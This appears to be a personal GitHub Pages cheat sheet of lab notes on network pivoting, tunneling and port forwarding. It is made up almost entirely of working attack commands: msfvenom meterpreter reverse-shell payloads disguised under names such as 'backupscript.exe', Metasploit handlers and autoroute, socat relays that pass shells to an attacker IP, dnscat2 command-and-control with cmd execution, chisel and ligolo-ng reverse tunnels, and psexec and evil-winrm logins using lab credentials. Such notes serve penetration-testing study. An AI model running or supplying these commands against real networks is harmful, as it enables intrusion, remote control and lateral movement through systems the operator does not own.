root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Pivoting,Tunneling and Port Forwarding



Networking behind Pivoting



Protocols, ports & services



Dynamic Port Forwarding with SSH and SOCKS Tunneling


image

image

ssh -N -L [attacker's port]:localhost:[internal service port] ubuntu@10.129.202.64
ssh -N -L [attacker's port]:localhost:[internal service port] -L [attacker's port]:localhost:[internal service port] ubuntu@10.129.202.64

image


Setting up for pivot-:



Dynamic port fowarding with ssh and proxychains


ssh -fND 9050 ubuntu@10.129.202.64
socks4 127.0.0.1 9050

image

proxychains nmap -sn 172.16.5.1-200

image

proxychains nmap -v -Pn -sT 172.16.5.19 

or

proxychains nmap -sVT 172.16.5.19 -Pn

Using proxychains with Metasploit


proxychains msfconsole

image

search "rdp_scanner"

image

proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

image


Remote/Reverse Portforwarding with SSH


msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080

image

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 8000
run

image

scp filename ubuntu@host:~/

image

image

ssh -R <InternalIPofPivotHost>:[listening port on internal host]:0.0.0.0:[target-Attacker'sport] ubuntu@<ipAddressofTarget> -vN

image

image

image


Meterprreter tunnelling and port forwarding


msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[ip] -f elf -o backupjob LPORT=8080
use exploit/multi/handler
set lhost 0.0.0.0
set lport 8080
set payload linux/x64/meterpreter/reverse_tcp
run

image

image


Ping sweep on Windows Host


run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23

image

for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
run

image

image

socks4 	127.0.0.1 9050
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.5.0
run

image

run autoroute -s 172.16.5.0/23

image

run autoroute -p
proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn

image


Port forwarding with metasploit


portfwd add -l <attacker's port> -p <remote port> -r <remote host>

image

image


Meterpreter Reverse Port Forwarding


portfwd add -R -l 8081 -p 1234 -L 10.10.14.18
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8081
run

Socat redirection with a reverse shell


socat TCP4-LISTEN:[listening port on compromised's host],fork TCP4:[attacker'sip]:[attacker'sport]
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80

image

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080

image

image


Socat redirection with bind shell


msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe LPORT=8443

image

socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST  10.129.210.63
set LPORT 8080
run

image

image


Portforwarding with socat


socat TCP4-LISTEN:[listening port],fork TCP4:[internal-ip]:[internal-port]

image


SSH for windows:- plink.exe


plink -ssh -D 9050 ubuntu@10.129.15.50

Pivoting with sshuttle


sudo apt-get install sshuttle
sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v

image

nmap -v -sV -p3389 172.16.5.19 -A -Pn

image

image


Using Netsh to port forward on windows


netsh.exe interface portproxy show v4tov4

Portforwarding with dnscat


git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
sudo bundle install

image

sudo ruby dnscat2.rb --dns host=[your ip],port=53,domain=[domain name] --no-cache
git clone https://github.com/lukebaggett/dnscat2-powershell.git
Import-Module .\dnscat2.ps1

image

Start-Dnscat2 -DNSserver [dns'ip] -Domain [domain] -PreSharedSecret [secret] -Exec cmd 

image

image

window -i 1

image

image


Chisel


git clone https://github.com/jpillora/chisel.git
upx brute chisel

image

./chisel server -v -p 1234 --socks5
./chisel client -v 10.129.202.64:1234 [port]:socks

image

socks5 127.0.0.1 1080

image

image


Chisel Reverse Pivot


sudo ./chisel server --reverse -v -p 1234 --socks5

image

./chisel client -v 10.10.15.4:1234 R:1080:socks

image

image

image


Double Pivoting with SocksoverRDP


Expand-Archive -Path "C:\path\to\your\file.zip" -DestinationPath "C:\path\to\destination"

image

regsvr32.exe SocksOverRDP-Plugin.dll

image

image

image

image

image

image

image


Ligolo-ng


image

ip tuntap add user root mode tun ligolo
ip link set ligolo up

image

image

image

image

sudo ip route add 172.16.0.0/16 dev ligolo
sudo ip route list

image

image

image

image

git clone https://github.com/SecureAuthCorp/impacket.git impacket
cd impacket
sudo apt install python3-impacket
sudo python3 ./setup.py install
sudo cp /usr/bin/impacket-secretsdump /usr/bin/impacket-psexec
sudo chmod +x /usr/bin/impacket-psexec
sudo chown user:user /usr/bin/impacket-psexec
impacket-psexec [user]:[password]@172.16.5.19

image

evil-winrm -i [ip] -u [user] -p [password]

image

image

listener_add --addr [pivot-host which is the host that got compromised at first]:8001 --to 0.0.0.0:8001

image

image

image

image

image

image

ifcreate --name ligolo1
tunnel_start --tun ligolo1
route_add --name ligolo1 --route 172.16.6.0/24

image

sudo ip route del 172.16.0.0/16 dev ligolo

image